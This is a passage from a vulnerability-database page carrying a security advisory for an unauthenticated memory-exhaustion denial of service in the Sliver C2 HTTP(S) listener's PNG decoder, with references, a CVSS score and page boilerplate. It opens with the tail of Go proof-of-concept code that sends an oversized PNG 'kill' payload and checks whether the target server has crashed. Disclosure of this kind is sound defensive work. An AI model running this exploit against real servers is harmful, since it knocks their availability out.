kill bomb \u2500\u2500\u2500\n        if !*silent {\n                fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n                        B(\"[*]\"), killMB, *target, pngN)\n        }\n        kCli := \u0026http.Client{Timeout: *kTO}\n        killStart := time.Now()\n        done := make(chan struct{})\n        go func() {\n                dt := post(context.Background(), kCli, *target, kill, pngN)\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  kill returned in %.2fs\\n\", dt.Seconds())\n                }\n                close(done)\n        }()\n\n        if *noConf {\n                \u003c-done\n                fmt.Println(pngN)\n                return\n        }\n\n        deadline := time.Now().Add(*kTO)\n        for time.Now().Before(deadline) {\n                time.Sleep(250 * time.Millisecond)\n                if !alive(hp, time.Second) {\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n                                        G(\"[+] \u2605 TARGET DEAD \u2605\"), time.Since(killStart).Seconds(), hp)\n                        }\n                        fmt.Println(pngN)\n                        return\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"%s target alive after %s \u2014 try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n        os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).",
  "id": "GHSA-663m-7x7m-g4fw",
  "modified": "2026-10-15T20:09:33Z",
  "published": "2026-10-15T20:09:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/releases/tag/v1.7.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.